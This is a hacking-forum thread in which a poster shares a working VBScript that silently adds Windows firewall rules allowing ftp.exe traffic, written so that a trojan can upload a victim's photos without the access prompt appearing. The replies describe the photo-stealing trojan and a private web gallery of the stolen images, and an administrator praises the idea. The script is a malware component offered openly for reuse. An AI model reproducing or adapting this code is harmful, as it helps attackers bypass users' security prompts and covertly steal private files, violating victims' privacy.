Author Topic: Permanently enable FTP Access permission in a Victim PC  (Read 3229 times)

0 Members and 1 Guest are viewing this topic.

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Permanently enable FTP Access permission in a Victim PC
« on: April 12, 2012, 01:10:56 pm »
This little code will permanently enable FTP access in any Pc and never prompt for 'Allow access'


Code: [Select]
'Coded by Sufyan Ghori
'for any query contact me at sufyan@xufyan.com / xufyan@gmail.com


Option Explicit
On Error Resume Next
Dim shell1, Command, Command2, Command3, Command4, Ftpcheck, temp, CMDoutput, textFile, fsoAllowFTPAccess, readFile, i, Command5, Command6, Command7, Command8




Set shell1 = CreateObject("WScript.Shell")
Set fsoAllowFTPAccess = CreateObject("Scripting.FileSystemObject")


temp = shell1.ExpandEnvironmentStrings("%TEMP%") 'Get Temp directory


CMDoutput = temp & "\" & fsoAllowFTPAccess.GetTempName 'Generate a Random name file in temp folder


Ftpcheck = "netsh advfirewall firewall show rule name=""File Transfer Program"" dir=in type=dynamic"


Command = "netsh advfirewall firewall add rule name=""File Transfer Program"" dir=in program=%SystemRoot%\system32\ftp.exe protocol=udp action=allow"


Command2 = "netsh advfirewall firewall add rule name=""File Transfer Program"" dir=in program=%SystemRoot%\system32\ftp.exe protocol=tcp action=allow"


Command5= "netsh advfirewall firewall add rule name=""File Transfer Program""  dir=in program=C:\Windows\syswow64\ftp.exe protocol=udp action=allow"


Command6= "netsh advfirewall firewall add rule name=""File Transfer Program""  dir=in program=C:\Windows\syswow64\ftp.exe protocol=tcp action=allow"


Command3= "netsh advfirewall firewall set rule name=""File Transfer Program"" dir=in protocol=tcp new action=allow"


Command4= "netsh advfirewall firewall set rule name=""File Transfer Program"" dir=in protocol=udp new action=allow"


shell1.Run "cmd /c CD\ &" & Ftpcheck & " > " & CMDoutput, 0 , TRUE 'write the result of command in Temp file


wscript.sleep (2)
Set readFile = fsoAllowFTPAccess.OpenTextFile(CMDoutput)


For i = 1 To 1
      readFile.ReadLine
         If readFile.ReadLine = "No rules match the specified criteria." Then
            shell1.Run "cmd /c CD\ &" & Command
            wscript.sleep (2)
            shell1.Run "cmd /c CD\ &" & Command2
            wscript.sleep (2)
            shell1.Run "cmd /c CD\ &" & Command5
            wscript.sleep (2)
            shell1.Run "cmd /c CD\ &" & Command6
         Else
            shell1.Run "cmd /c CD\ &" & Command3
            wscript.sleep (2)
            shell1.Run "cmd /c CD\ &" & Command4
            wscript.sleep (2)
            shell1.Run "cmd /c CD\ &" & Command5
            wscript.sleep (2)
            shell1.Run "cmd /c CD\ &" & Command6
         End If
Next


readFile.close
fsoAllowFTPAccess.DeleteFile(CMDoutput)

Set fsoAllowFTPAccess = nothing
Set shell1 = nothing
Set readFile = nothing

Coded in: VBScript

Why I've coded this script ?

I was working on the kind of trojan virus that steals all the photos from the victim PC and uploads it to my webserver, after finished developing the trojan i decided to test it so i borrowed my brother's laptop and execute the complete trojan but as soon as the trojan executed it prompted me to wether should i allow FTP access or not, this was the point when i decided to bypass this message of allowing FTP access, hence i coded this script :)Now my trojan never prompt user to allow ftp access and enable it by itself :)

Where it can be useful ?

This script could come handy when you're developing some kind of trojan that uploads data from victim pc to your server through FTP


Thankyou-
Sufyan Ghori
« Last Edit: April 12, 2012, 01:13:10 pm by Infinityexists »

zohraan

  • Guest
Re: Permanently enable FTP Access permission in a Victim PC
« Reply #1 on: April 12, 2012, 01:31:55 pm »
Great. Great. Best luck buddy !

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Permanently enable FTP Access permission in a Victim PC
« Reply #2 on: April 12, 2012, 04:29:14 pm »
Very nice. I see you are really into that VBScript thing :D

But since it's not really a hacktool or evilzone release and you provide the source, I'd say this should go to "Scripting Languages" subforum.

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Permanently enable FTP Access permission in a Victim PC
« Reply #3 on: April 12, 2012, 04:45:03 pm »
Very nice. I see you are really into that VBScript thing :D

But since it's not really a hacktool or evilzone release and you provide the source, I'd say this should go to "Scripting Languages" subforum.


thanks for appreciation :)
i'm thinking of open-source my complete trojan , let me explain what it actually do,
when the victim runs the trojan it will gather all the photos from its PC and upload it to my server then a new page will be created onto my website (the page is publicly available but only i know the page address) when i open that generated page it will show all the photos from the victim PC as a Gallery :D
so i can browse his/her photos dynamically without going to my ftp and opening each of them :p

Offline Kulverstukas

  • Administrator
  • Zeus
  • *
  • Posts: 6627
  • Cookies: 542
  • Fascist dictator
    • View Profile
    • My blog
Re: Permanently enable FTP Access permission in a Victim PC
« Reply #4 on: April 12, 2012, 06:03:46 pm »
Well the basic idea is good, but browsing pictures like a gallery? not very wise in my opinion. You would make lots and lots of traffic + it may cost some heavy resources of the machine, needless to say that it may be very damn slow if the victim has a slow connection because you would have to generate thumbnails for every picture (assuming you will display not just file names). Unless of course you can cache everything.
For getting pictures... I dunno. I guess that depends on the machine if that will be slow.

Looking forward to seeing that.

Offline Infinityexists

  • Peasant
  • *
  • Posts: 74
  • Cookies: 1
    • View Profile
Re: Permanently enable FTP Access permission in a Victim PC
« Reply #5 on: April 12, 2012, 06:42:55 pm »
Well the basic idea is good, but browsing pictures like a gallery? not very wise in my opinion. You would make lots and lots of traffic + it may cost some heavy resources of the machine, needless to say that it may be very damn slow if the victim has a slow connection because you would have to generate thumbnails for every picture (assuming you will display not just file names). Unless of course you can cache everything.
For getting pictures... I dunno. I guess that depends on the machine if that will be slow.

Looking forward to seeing that.


for heavy resources i already have a Heavy machine (I have my own VPS Server where all the photos are being uploaded) so there is no reason that anything would be slow down, also about the thumbnail thing, i am not really generating the thumbnail of every picture instead every picture will be re sized to 400x400 before appearing into the gallery and every photo is linked to the photo with actual size :D I haven't done it the professional way like making a proper gallery with proper styling,coloring and blah blah , i have just given it a gallery look with some CSS and HTML


I'm not gonna make a load of traffic as I'll not expose the link to the gallery to anyone it is just for the test, and if i ever wanted to open-source the code i'll add the feature so that the person who has downloaded the source will be allowed to  enter their own web-server details where the gallery would be generated.


beside this, I'll soon create a test video which will show my trojan in Action ;) I'm gonna test it on my brother with his permission :D
« Last Edit: April 12, 2012, 06:53:15 pm by Infinityexists »